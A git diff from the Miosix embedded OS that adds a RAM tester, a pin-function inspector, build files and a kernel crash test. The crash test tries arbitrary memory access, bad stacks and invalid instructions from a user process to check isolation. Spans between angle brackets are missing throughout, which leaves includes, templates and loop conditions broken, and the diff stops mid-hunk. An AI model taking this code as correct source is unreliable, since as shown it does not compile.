tools/loc_counter.sh diff --git a/tools/ram_test/main.cpp b/tools/ram_test/main.cpp new file mode 100644 index 000000000..66749aa51 --- /dev/null +++ b/tools/ram_test/main.cpp @@ -0,0 +1,73 @@ + /*************************************************************************** + * Copyright (C) 2012 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +// RAM testing code +// Useful to test the external RAM of a board. + +#include +#include +#include +#include +#include + +const unsigned int ramBase=0xc0000000; //Tune this to the right value +const unsigned int ramSize=512*1024; //Tune this to the right value + +unsigned int randState=0x7ad3c099; + +template bool ramTest() +{ + const unsigned int loggingStep=std::min(ramSize/16,1048576U); + unsigned checkSeed=randState; + for(unsigned int i=ramBase;i(i); + T v=static_cast(rand_r(&randState)); + *p=v; + } + sleep(10); //To check SDRAM retention ability + int totalFailures=0,failures=0; + for(unsigned int i=ramBase;i(i); + T ck=static_cast(rand_r(&checkSeed)); + T v=*p; + if(v!=ck) failures++; + if((i+sizeof(T)-ramBase) % loggingStep == 0) { + unsigned int startAddr=i+sizeof(T)-loggingStep; + iprintf("%08x-%08x: %d mismatches\n",startAddr,i+sizeof(T)-1,failures); + totalFailures+=failures; + failures=0; + } + } + return totalFailures!=0; +} + +int main() +{ + for(;;) + { + iprintf("RAM test\nTesting word size transfers\n"); + if(ramTest()) return 1; + iprintf("Testing halfword size transfers\n"); + if(ramTest()) return 1; + iprintf("Testing byte size transfers\n"); + if(ramTest()) return 1; + iprintf("Ok\n"); + } +} diff --git a/miosix/_tools/serial_stress_test/main.cpp b/tools/serial_stress_test/main.cpp similarity index 100% rename from miosix/_tools/serial_stress_test/main.cpp rename to tools/serial_stress_test/main.cpp diff --git a/tools/stm32_af_span_test/spantest.cpp b/tools/stm32_af_span_test/spantest.cpp new file mode 100644 index 000000000..000e26550 --- /dev/null +++ b/tools/stm32_af_span_test/spantest.cpp @@ -0,0 +1,75 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +// +// Tool for inspecting alternate function spans used in stm32xxx_serial.cpp +// + +#include + +struct STM32SerialAltFunc +{ + struct Span + { + // when the span ends (exclusive) + unsigned char port:8, pin:4; + unsigned char af:4; // alternate function ID + }; + const Span *spans; + + unsigned char lookup(unsigned char port, unsigned char pin) const + { + int i; + for(i=0; spans[i].port!=0 || spans[i].pin!=0; i++) { + if(spans[i].port>port || (spans[i].port==port && spans[i].pin>pin)) + return spans[i].af; + } + return spans[i].af; + } +}; + +static const STM32SerialAltFunc::Span spans[]= + {{0,6,6},{0,13,4},{1,1,6},{1,12,4},{1,13,2},{2,0,4},{2,4,6},{2,10,2},{0,0,0}}; +static const STM32SerialAltFunc af={spans}; + +int main(int argc, char *argv[]) +{ + printf("pin |"); + for(int pin=0;pin<16;pin++) printf(" %2d",pin); + putchar('\n'); + printf("----+"); + for(int pin=0;pin<16;pin++) printf("---"); + putchar('\n'); + + for(int port=0;port<9;port++) + { + printf(" P%c |",port+'A'); + for(int pin=0;pin<16;pin++) printf(" %2d",af.lookup(port, pin)); + putchar('\n'); + } +} + diff --git a/tools/testsuite/.gitignore b/tools/testsuite/.gitignore new file mode 100644 index 000000000..a9c2d11d8 --- /dev/null +++ b/tools/testsuite/.gitignore @@ -0,0 +1,5 @@ +testsuite_romfs/test_process +testsuite_romfs/test_execve +testsuite_romfs/test_global_dtor_ctor +testsuite_romfs/test_crash +*.map diff --git a/tools/testsuite/CMakeLists.txt b/tools/testsuite/CMakeLists.txt new file mode 100644 index 000000000..a0efb92d4 --- /dev/null +++ b/tools/testsuite/CMakeLists.txt @@ -0,0 +1,58 @@ +# Copyright (C) 2024 by Skyward +# +# This program is free software; you can redistribute it and/or +# it under the terms of the GNU General Public License as published +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# As a special exception, if other files instantiate templates or use +# macros or inline functions from this file, or you compile this file +# and link it with other works to produce a work based on this file, +# this file does not by itself cause the resulting work to be covered +# by the GNU General Public License. However the source code for this +# file must still be made available in accordance with the GNU +# Public License. This exception does not invalidate any other +# why a work based on this file might be covered by the GNU General +# Public License. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, see + +cmake_minimum_required(VERSION 3.21) + +set(MIOSIX_KPATH ${CMAKE_SOURCE_DIR}/../../miosix) +set(CMAKE_TOOLCHAIN_FILE ${MIOSIX_KPATH}/cmake/Toolchains/gcc.cmake) +set(CMAKE_BUILD_TYPE "Release") + +project(testsuite C CXX ASM) + +#set(MIOSIX_BOARD stm32f407vg_stm32f4discovery) +if(NOT DEFINED MIOSIX_LINKER_SCRIPT) + set(MIOSIX_LINKER_SCRIPT processes.ld) +endif() + +add_subdirectory(${MIOSIX_KPATH} miosix EXCLUDE_FROM_ALL) + +# Kernel level program +add_executable(testsuite testsuite.cpp) +target_compile_definitions(miosix PUBLIC WITH_FILESYSTEM) +miosix_link_target(testsuite) + +# Processes +miosix_add_process(test_process test_process/main.cpp) +miosix_add_process(test_execve test_execve/main.cpp RAM_SIZE 8192) +miosix_add_process(test_global_dtor_ctor test_global_dtor_ctor/main.cpp RAM_SIZE 8192) +miosix_add_process(test_crash test_crash/main.cpp RAM_SIZE 8192) + +# RomFS image +miosix_add_romfs_image(image + PROGRAM_DEFAULT + DIR_NAME bin + KERNEL testsuite + PROCESSES test_process test_execve test_global_dtor_ctor test_crash +) diff --git a/tools/testsuite/Makefile b/tools/testsuite/Makefile new file mode 100644 index 000000000..c12891cc7 --- /dev/null +++ b/tools/testsuite/Makefile @@ -0,0 +1,68 @@ +## +## Makefile template for Miosix embedded OS kernel-side applications +## + +## Path to the Miosix kernel root (miosix-kernel/miosix) +KPATH := ../../miosix + +## Path to the Miosix config root, containing: +## - config/Makefile.inc +## - config/miosix_config.h (optional) +## - config/board//board_config.h (optional) +## Leave it as $(KPATH) to use the default settings built in to miosix. Any +## missing file is replaced by the defaults as well. +## To change the config, copy and paste the miosix/config directory to +## your project root and change this path to the project root (typically ".") +CONFPATH := $(KPATH) + +## When using CONFPATH := $(KPATH) you can choose the board here. You can also +## override other variables defined by Makefile.inc. +# OPT_BOARD := [options in miosix-kernel/miosix/config/Makefile.inc] + +## Include the Miosix common makefile for kernel-side applications +MAKEFILE_VERSION := 3.01 +include $(KPATH)/Makefile.kcommon + +## +## List here your source files (both .s, .c and .cpp) +## +SRC := testsuite.cpp + +## +## List here additional include directories (in the form -Iinclude_dir) +## +INCLUDE_DIRS := + +## +## List here additional static libraries with relative path +## +LIBS := + +## +## List here subdirectories which contains makefiles +## +# Only build processes if the architecture supports them +ifneq ($(POSTLD),) +SUBDIRS += test_process test_execve test_global_dtor_ctor test_crash +endif + +## +## Attach a romfs filesystem image after the kernel +## +ROMFS_DIR := testsuite_romfs + +all: $(if $(ROMFS_DIR), image, main) + +main: $(OBJ) all-recursive + $(ECHO) "[LD ] main.elf" + $(Q)$(CXX) $(LFLAGS) -o main.elf $(OBJ) $(LINK_LIBS) + $(ECHO) "[CP ] main.hex" + $(Q)$(CP) -O ihex main.elf main.hex + $(ECHO) "[CP ] main.bin" + $(Q)$(CP) -O binary main.elf main.bin + $(Q)$(SZ) main.elf + +clean: clean-recursive + $(Q)rm -f $(OBJ) $(OBJ:.o=.d) main.elf main.hex main.bin main.map + +-include $(OBJ:.o=.d) diff --git a/tools/testsuite/test_crash/Makefile b/tools/testsuite/test_crash/Makefile new file mode 100644 index 000000000..7e05e2e17 --- /dev/null +++ b/tools/testsuite/test_crash/Makefile @@ -0,0 +1,22 @@ +## +## Makefile for writing processes for the Miosix embedded OS +## + +## KPATH and CONFPATH can be specified here or forwarded by the parent makefile +MAKEFILE_VERSION := 3.01 +include $(KPATH)/Makefile.pcommon + +BIN := ../testsuite_romfs/test_crash +SRC := main.cpp + +all: $(OBJ) + $(ECHO) "[LD ] $(BIN)" + $(Q)$(CXX) $(LFLAGS) -o $(BIN) $(OBJ) $(LINK_LIBS) + $(Q)$(SZ) $(BIN) + $(Q)$(STRIP) $(BIN) + $(Q)$(POSTLD) $(BIN) --ramsize=8192 --stacksize=2048 --strip-sectheader + +clean: + -rm -f $(OBJ) $(OBJ:.o=.d) $(BIN) $(notdir $(BIN)).map + +-include $(OBJ:.o=.d) diff --git a/tools/testsuite/test_crash/main.cpp b/tools/testsuite/test_crash/main.cpp new file mode 100644 index 000000000..9dfd53919 --- /dev/null +++ b/tools/testsuite/test_crash/main.cpp @@ -0,0 +1,270 @@ +/*************************************************************************** + * Copyright (C) 2025 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +// A collection of actions a process can do to crash the kernel, used to test +// if the abstraction of processes is implemented correctly + +#include +#include +#include +#include +#include +#include +#include + +//Choose whether arg are read from command line or stdin +#define ARG_FROM_CMDLINE + +using namespace std; + +#ifdef ARG_FROM_CMDLINE +char **global_argv; +#endif + +/** + * Helper function to get an address + */ +int *address() +{ + int *p; + #ifdef ARG_FROM_CMDLINE + siscanf(global_argv[2],"%p",&p); + #else + iscanf("%p",&p); + #endif + return p; +} + +/** + * Plain old division by 0 + */ +void tryZero() +{ + volatile int i=0; + exit(42/i); +} + +/** + * Attempt to disable interrupts + */ +void tryLockup() +{ + //NOTE: although these instructions are privileged, ARM does not trap them + //but rather turns them into nop if the CPU is in user mode + asm volatile("cpsid i \n\t" + "cpsid f \n\t"); +} + +/** + * What if the CPU encounters a breakpoint instruction? We don't want this to + * become a DoS if no debugger is connected + */ +void tryBkpt() +{ + asm volatile("bkpt"); +} + +/** + * Arbitrary address memory read + */ +void tryRead() +{ + exit(*address()); +} + +/** + * Arbitrary address memory write + */ +void tryWrite() +{ + *address()=0; +} + +/** + * Arbitrary address memory read through syscall + */ +void trySysRead() +{ + //To write to file, kernel would need to read memory + int fd=open("/dev/null",O_WRONLY); + if(write(fd,address(),1)!=-1 || errno!=EFAULT) exit(1); + exit(0); +} + +/** + * Arbitrary address memory write through syscall + */ +void trySysWrite() +{ + //To read from file, kernel would need to write memory + int fd=open("/dev/zero",O_RDONLY); + if(read(fd,address(),1)!=-1 || errno!=EFAULT) exit(1); + exit(0); +} + +/** + * Arbitrary address execute + */ +void tryExec() +{ + auto fun=reinterpret_cast(address()); + fun(); +} + +/** + * Try executing a thumb2 function without bit 0 set, thus telling the CPU it's + * coded in the ARM instruction set, not the thumb2 one. Should fail with invalid + * EPSR access + */ +void tryEpsr() +{ + int *(*p)()=&address; //Valid pointer to function + unsigned int pp=reinterpret_cast(p); + pp &= ~1; //Make pointer invalid (non-thumb) + p=reinterpret_cast(pp); + p(); +} + +/** + * What if the CPU encounters an invalid instruction? + */ +void tryInvalid() +{ + asm volatile(".word 0xffffffff"); //0xffffffff is an ARM invalid instruction +} + +/** + * Set stack pointer to an arbitrary value and after that cause a syscall. + * The CPU will try to save registers on the stack, but the stack is not valid + * so it should fault badly, the OS needs to be capable of recovering + */ +void __attribute__((naked,noreturn)) tryStack() +{ + asm volatile("bl _Z7addressv \n\t" + "mov sp, r0 \n\t" + "movs r3, #43 \n\t" //syscall(43) is exit + "svc 0 \n\t"); +} + +/** + * Plain old stack overflow + */ +void __attribute__((noinline)) tryOverflow() +{ + volatile char big[3*1024]; + big[0]=0; + sleep(1); + exit(big[0]); +} + +/** + * This should be the interrupt return pattern. When running it code faults with + * attempted intruction fetch @ 0xfffffffc so CPU knows it's not inside an IRQ, + * ignores IRQ return, interprets the number as an address, and faults + * attempting to jump there + */ +void tryIret() +{ + asm volatile("movs r0, #0 \n\t" + "movs r1, #3 \n\t" + "sub r0, r0, r1 \n\t" //0-3=0xfffffffd + "mov lr, r0 \n\t" + "bx lr \n\t"); +} + +/** + * Causes a usage fault with the stack in an invalid location. Tests the case in + * which multiple exceptions are pending simultaneously. Miosix should only + * report the root exception (the usage fault) and ignore the memory fault. + */ +void __attribute__((naked,noreturn)) tryMultiple() +{ + asm volatile("bl _Z7addressv \n\t" + "mov sp, r0 \n\t" + "movs r0, #0 \n\t" + "movs r1, #123 \n\t" + ".word 0xffffffff \n\t"); //0xffffffff is an ARM invalid instruction +} + +int *foo() { return reinterpret_cast(0x1000); } +void __attribute__((naked,noreturn)) nofloat() +{ + //Attempt to cause a stack overflow while entering an svc from a process + //that does not have floating point registers that need to be saved in the + //stack frame + asm volatile("bl _Z3foov \n\t" + "mov sp, r0 \n\t" + "movs r3, #43 \n\t" //syscall(43) is exit + "svc 0 \n\t"); +} + +int *bar() +{ + volatile float f=8192.f; + volatile int i=f/2; + return reinterpret_cast(i); +} +void __attribute__((naked,noreturn)) yesfloat() +{ + //Attempt to cause a stack overflow while entering an svc from a process + //that does have floating point registers that need to be saved in the + //stack frame. This is of course only relevant for ARM cores with hardware + //floating point extensions, otherwise this test behaves exactly as noFloat + asm volatile("bl _Z3barv \n\t" + "mov sp, r0 \n\t" + "movs r3, #43 \n\t" //syscall(43) is exit + "svc 0 \n\t"); +} + +int main(int argc, char *argv[]) +{ + #ifdef ARG_FROM_CMDLINE + global_argv=argv; + switch(argv[1][0]) + #else + switch(getchar()) + #endif + { + case 'z': tryZero(); break; + case 'l': tryLockup(); break; + case 'b': tryBkpt(); break; + case 'r': tryRead(); break; + case 'w': tryWrite(); break; + case 'R': trySysRead(); break; + case 'W': trySysWrite(); break; + case 'x': tryExec(); break; + case 'e': tryEpsr(); break; + case 'i': tryInvalid(); break; + case 's': tryStack(); break; + case 'o': tryOverflow(); break; + case 'u': tryIret(); break; + case 'm': tryMultiple(); break; + case '-': nofloat(); break; + case '+': yesfloat(); break; + } + return 0; +} diff --git a/tools/testsuite/test_execve/Makefile b/tools/testsuite/test_execve/Makefile new file mode 100644 index 000000000..fedf96537 --- /dev/null +++ b/tools/testsuite/test_execve/Makefile @@ -0,0 +1,22 @@ +## +## Makefile for writing processes for the Miosix embedded OS +## + +## KPATH and CONFPATH can be specified here or forwarded by the parent makefile +MAKEFILE_VERSION := 3.01 +include $(KPATH)/Makefile.pcommon + +BIN := ../testsuite_romfs/test_execve +SRC := main.cpp + +all: $(OBJ) + $(ECHO) "[LD ] $(BIN)" + $(Q)$(CXX) $(LFLAGS) -o $(BIN) $(OBJ) $(LINK_LIBS) + $(Q)$(SZ) $(BIN) + $(Q)$(STRIP) $(BIN) + $(Q)$(POSTLD) $(BIN) --ramsize=8192 --stacksize=2048 --strip-sectheader + +clean: + -rm -f $(OBJ) $(OBJ:.o=.d) $(BIN) $(notdir $(BIN)).map + +-include $(OBJ:.o=.d) diff --git a/miosix/_tools/testsuite/test_execve/main.cpp b/tools/testsuite/test_execve/main.cpp similarity index 100% rename from miosix/_tools/testsuite/test_execve/main.cpp rename to tools/testsuite/test_execve/main.cpp diff --git a/tools/testsuite/test_global_dtor_ctor/Makefile b/tools/testsuite/test_global_dtor_ctor/Makefile new file mode 100644 index 000000000..68c290d45 --- /dev/null +++ b/tools/testsuite/test_global_dtor_ctor/Makefile @@ -0,0 +1,22 @@ +## +## Makefile for writing processes for the Miosix embedded OS +## + +## KPATH and CONFPATH can be specified here or forwarded by the parent makefile +MAKEFILE_VERSION := 3.01 +include $(KPATH)/Makefile.pcommon + +BIN := ../testsuite_romfs/test_global_dtor_ctor +SRC := main.cpp + +all: $(OBJ) + $(ECHO) "[LD ] $(BIN)" + $(Q)$(CXX) $(LFLAGS) -o $(BIN) $(OBJ) $(LINK_LIBS) + $(Q)$(SZ) $(BIN) + $(Q)$(STRIP) $(BIN) + $(Q)$(POSTLD) $(BIN) --ramsize=8192 --stacksize=2048 --strip-sectheader + +clean: + -rm -f $(OBJ) $(OBJ:.o=.d) $(BIN) $(notdir $(BIN)).map + +-include $(OBJ:.o=.d) diff --git a/miosix/_tools/testsuite/test_global_dtor_ctor/main.cpp b/tools/testsuite/test_global_dtor_ctor/main.cpp similarity index 100% rename from miosix/_tools/testsuite/test_global_dtor_ctor/main.cpp rename to tools/testsuite/test_global_dtor_ctor/main.cpp diff --git a/tools/testsuite/test_process/Makefile b/tools/testsuite/test_process/Makefile new file mode 100644 index 000000000..3eae77bf8 --- /dev/null +++ b/tools/testsuite/test_process/Makefile @@ -0,0 +1,22 @@ +## +## Makefile for writing processes for the Miosix embedded OS +## + +## KPATH and CONFPATH can be specified here or forwarded by the parent makefile +MAKEFILE_VERSION := 3.01 +include $(KPATH)/Makefile.pcommon + +BIN := ../testsuite_romfs/test_process +SRC := main.cpp + +all: $(OBJ) + $(ECHO) "[LD ] $(BIN)" + $(Q)$(CXX) $(LFLAGS) -o $(BIN) $(OBJ) $(LINK_LIBS) + $(Q)$(SZ) $(BIN) + $(Q)$(STRIP) $(BIN) + $(Q)$(POSTLD) $(BIN) --ramsize=16384 --stacksize=2048 --strip-sectheader + +clean: + -rm -f $(OBJ) $(OBJ:.o=.d) $(BIN) $(notdir $(BIN)).map + +-include $(OBJ:.o=.d) diff --git a/tools/testsuite/test_process/main.cpp b/tools/testsuite/test_process/main.cpp new file mode 100644 index 000000000..ab4195658 --- /dev/null +++ b/tools/testsuite/test_process/main.cpp @@ -0,0 +1,146 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include +#include +#include +#include + +using namespace std; + +extern char **environ; + +// Processes implies filesystem & DevFs +#define WITH_FILESYSTEM +#define WITH_DEVFS +#define WITH_PROCESSES +// Define for tests to distinguish whether we are compiling in a process +#define IN_PROCESS + +//Functions common to all tests +static void test_name(const char *name); +static void pass(); +static void fail(const char *cause); + +// Syscalls tests (shared with kercalls) +#include "../test_syscalls.h" + +static int sys_test_getpid_child(int argc, char *argv[]); + +int main(int argc, char *argv[], char *envp[]) +{ + if(argc == 0) return 1; + else if(argc == 1) test_syscalls(); + else if(argc == 2) + { + if(strcmp("sys_test_getpid_child", argv[1])==0) + return sys_test_getpid_child(argc, argv); + if(strcmp("exit_123", argv[1])==0) + exit(123); + if(strcmp("sleep_and_exit_234", argv[1])==0) + { + sleep(1); + exit(234); + } + if(strcmp("environ_check", argv[1])==0) + { + if(environ!=envp) return 1; + if(environ[0]==nullptr) return 1; + if(environ[1]!=nullptr) return 1; + if(strcmp(environ[0],"TEST=test")!=0) return 1; + return 0; + } + if(strcmp("execve", argv[1])==0) + { + // For some weird reason, execve signature allows the pointers to + // be constant but not the strings. + char arg_path[]="/bin/test_execve"; + char env_entry[]="TEST_ENVP=test"; + char *arg[] = { arg_path, nullptr }; + char *env[] = { env_entry, nullptr }; + execve(arg[0],arg,env); + return 99; + } + } + else return 1; + return 0; +} + +/** + * Called @ the beginning of a test + * \param name test name + */ +static void test_name(const char *name) +{ + iprintf("Testing %s...\n",name); +} + +/** + * Called @ the end of a successful test + */ +static void pass() +{ + iprintf("Ok.\n"); +} + +/** + * Called if a test fails + * \param cause cause of the failure + */ +static void fail(const char *cause) +{ + //Can't use iprintf here because fail() may be used in threads + //with 256 bytes of stack, and iprintf may cause stack overflow + write(STDOUT_FILENO,"Failed:\n",8); + write(STDOUT_FILENO,cause,strlen(cause)); + write(STDOUT_FILENO,"\n",1); + exit(1); +} + +/** + * 16 bit ccitt crc calculation + * \param crc The first time the function is called, pass 0xffff, all the other + * times, pass the previous value. The value returned after the last call is + * the desired crc + * \param data a byte of the message + */ +static inline void crc16Update(unsigned short& crc, unsigned char data) +{ + unsigned short x=((crc>>8) ^ data) & 0xff; + x^=x>>4; + crc=(crc<<8) ^ (x<<12) ^ (x<<5) ^ x; +} + +unsigned short crc16(const void *message, unsigned int length) +{ + const unsigned char *m=reinterpret_cast(message); + unsigned short result=0xffff; + for(unsigned int i=0;ijoin(); t2->join(); t3->join(); @@ -544,7 +543,7 @@ unsigned int checkInodes(const char *dir, unsigned int curInode, getcwdRes=getcwd(getcwdBuf,getcwdBufSz); if(getcwdRes!=getcwdBuf) fail("getcwd result (1)"); if(strcmp(getcwdBuf,dir)!=0) fail("getcwd (2)"); - delete getcwdBuf; + delete[] getcwdBuf; DIR *d=opendir("."); if(d==NULL) fail("opendir"); @@ -558,7 +557,7 @@ unsigned int checkInodes(const char *dir, unsigned int curInode, struct stat st; if(stat(de->d_name,&st)) fail("stat"); - printf("inode=%lu dev=%d %s\n",st.st_ino,st.st_dev,de->d_name); + printf("inode=%llu dev=%d %s\n",st.st_ino,st.st_dev,de->d_name); if(de->d_ino!=st.st_ino) fail("inode mismatch"); @@ -664,7 +663,7 @@ static void fs_test_4() sdDevice=st.st_dev; } - printf("inode=%lu dev=%d %s\n",st.st_ino,st.st_dev,de->d_name); + printf("inode=%llu dev=%d %s\n",st.st_ino,st.st_dev,de->d_name); } closedir(d); @@ -1345,20 +1344,6 @@ static void sys_test_spawn() if(WIFSTOPPED(pstat)) fail("WIFSTOPPED (4)"); if(WEXITSTATUS(pstat)!=0) fail("environ"); - // The sigsegv process is only compiled in the kernel tests because - // otherwise we can't detect if we have an MPU or not. - #if !defined(IN_PROCESS) && __MPU_PRESENT - const char *arg4[] = { "/bin/test_process", "sigsegv", nullptr }; - iprintf("A process will terminate due to a null pointer dereference...\n"); - ec=posix_spawn(nullptr,arg4[0],NULL,NULL,(char* const*)arg4,(char* const*)env); - if(ec!=0) fail("posix_spawn (5)"); - wait(&pstat); - if(WIFEXITED(pstat)) fail("WIFEXITED (5)"); - if(!WIFSIGNALED(pstat)) fail("WIFSIGNALED (5)"); - if(WIFSTOPPED(pstat)) fail("WIFSTOPPED (5)"); - if(WTERMSIG(pstat)!=SIGSEGV) fail("WTERMSIG (5)"); - #endif // !defined(IN_PROCESS) && __MPU_PRESENT - const char *arg5[] = { "/bin/test_process", "execve", nullptr }; ec=posix_spawn(nullptr,arg5[0],NULL,NULL,(char* const*)arg5,(char* const*)env); if(ec!=0) fail("posix_spawn (6)"); diff --git a/miosix/_tools/testsuite/test_syscalls.h b/tools/testsuite/test_syscalls.h similarity index 100% rename from miosix/_tools/testsuite/test_syscalls.h rename to tools/testsuite/test_syscalls.h diff --git a/miosix/_tools/testsuite/testsuite.cpp b/tools/testsuite/testsuite.cpp similarity index 75% rename from miosix/_tools/testsuite/testsuite.cpp rename to tools/testsuite/testsuite.cpp index c69143436..c1d5060b0 100644 --- a/miosix/_tools/testsuite/testsuite.cpp +++ b/tools/testsuite/testsuite.cpp @@ -51,19 +51,23 @@ #include #include #include +#include #include "miosix.h" -#include "config/miosix_settings.h" +#include "miosix_settings.h" #include "interfaces/atomic_ops.h" #include "interfaces/endianness.h" +#include "interfaces/poweroff.h" +#include "interfaces/bsp.h" #include "e20/e20.h" #include "kernel/intrusive.h" #include "util/crc16.h" -#if defined(_ARCH_CORTEXM7_STM32F7) || defined(_ARCH_CORTEXM7_STM32H7) -#include -#include -#endif //_ARCH_CORTEXM7_STM32F7/H7 + +#if defined(_CHIP_STM32F7) || defined(_CHIP_STM32H7) +#include +#include +#endif //_CHIP_STM32F7/H7 #include static_assert(sizeof(time_t)==8,"time_t is not 64 bit"); @@ -120,11 +124,15 @@ static void test_24(); static void test_25(); static void test_26(); static void test_27(); -#if defined(_ARCH_CORTEXM7_STM32F7) || defined(_ARCH_CORTEXM7_STM32H7) +#if defined(WITH_SMP) && defined(WITH_THREAD_AFFINITY) +static void test_28(); +#endif //defined(WITH_SMP) && defined(WITH_THREAD_AFFINITY) +#if defined(_CHIP_STM32F7) || defined(_CHIP_STM32H7) void testCacheAndDMA(); -#endif //_ARCH_CORTEXM7_STM32F7/H7 +#endif //_CHIP_STM32F7/H7 #ifdef WITH_PROCESSES void test_syscalls_process(); +void test_crash_process(); #endif //WITH_PROCESSES //Benchmark functions static void benchmark_1(); @@ -149,6 +157,7 @@ int main() " 't' for kernel test\n" " 'k' for kercall test (includes filesystem)\n" " 'p' for syscall/processes test\n" + " 'c' for processes crash test\n" " 'x' for exception test\n" " 'b' for benchmarks\n" " 's' for shutdown\n"); @@ -191,9 +200,12 @@ int main() test_25(); test_26(); test_27(); - #if defined(_ARCH_CORTEXM7_STM32F7) || defined(_ARCH_CORTEXM7_STM32H7) + #if defined(WITH_SMP) && defined(WITH_THREAD_AFFINITY) + test_28(); + #endif //defined(WITH_SMP) && defined(WITH_THREAD_AFFINITY) + #if defined(_CHIP_STM32F7) || defined(_CHIP_STM32H7) testCacheAndDMA(); - #endif //_ARCH_CORTEXM7_STM32F7/H7 + #endif //_CHIP_STM32F7/H7 ledOff(); Thread::sleep(500);//Ensure all threads are deleted. @@ -210,6 +222,13 @@ int main() iprintf("Error, process support is disabled\n"); #endif // WITH_PROCESSES break; + case 'c': + #ifdef WITH_PROCESSES + test_crash_process(); + #else // WITH_PROCESSES + iprintf("Error, process support is disabled\n"); + #endif // WITH_PROCESSES + break; case 'x': #ifndef __NO_EXCEPTIONS exception_test(); @@ -229,20 +248,35 @@ int main() break; case 's': iprintf("Shutting down\n"); - shutdown(); + return 0; default: iprintf("Unrecognized option\n"); } } } +/** + * Used at beginning of tests to check memory requirements and skip if not met + */ +#define CHECK_AVAIL_HEAP(minimum) do { \ + unsigned int free=MemoryProfiling::getCurrentFreeHeap(); \ + if(free<(minimum)) \ + { \ + iprintf("Skipping, low heap (%u<%u).\n",free,(minimum)); \ + return; \ + } \ + } while(false) +//Conservatively estimates the heap usage when creating a thread +#define EST_THREAD_HEAP_USAGE(stack) (((16+32+(stack)+sizeof(Thread))+8)+16) + /** * Called @ the beginning of a test * \param name test name */ static void test_name(const char *name) { - iprintf("Testing %s...\n",name); + iprintf("Testing %s... ",name); + fflush(stdout); } /** @@ -267,6 +301,17 @@ static void fail(const char *cause) reboot(); } +/** + * The kernel used to have a Thread::exists() member function that was only + * used by the testsuite. This function replaces this behavior using the newer + * IRQexists. + */ +bool threadExists(Thread *t) +{ + FastGlobalIrqLock dLock; + return Thread::IRQexists(t); +} + // // Test 1 // @@ -290,9 +335,6 @@ static void t1_p1(void *argv) { if(Thread::testTerminate()) break; t1_v1=true; - #ifdef SCHED_TYPE_EDF - Thread::sleep(5); - #endif //SCHED_TYPE_EDF } } @@ -310,58 +352,62 @@ static void t1_f1(Thread *p) // The Thread::sleep(5) is added to make this possibility as unlikely as //possible. //If the thread exists, it should modify t1_v1, and exist() must return true + #if defined(WITH_SMP) && defined(WITH_THREAD_AFFINITY) + Thread::getCurrentThread()->setAffinity(1); //Only core 0 + p->setAffinity(1); //Only core 0 + #endif //defined(WITH_SMP) && defined(WITH_THREAD_AFFINITY) for(int i=0;i<10;i++) //testing 10 times { Thread::sleep(5); t1_v1=false; - #ifndef SCHED_TYPE_EDF Thread::yield();//run t1_p1 - #else //SCHED_TYPE_EDF - Thread::sleep(15); - #endif //SCHED_TYPE_EDF + #if defined(WITH_SMP) && !defined(WITH_THREAD_AFFINITY) + Thread::sleep(5); + #endif //defined(WITH_SMP) && !defined(WITH_THREAD_AFFINITY) if(t1_v1==false) fail("thread not created"); - if(Thread::exists(p)==false) fail("Thread::exists (1)"); + if(threadExists(p)==false) fail("Thread::exists (1)"); } p->terminate(); - #ifndef SCHED_TYPE_EDF 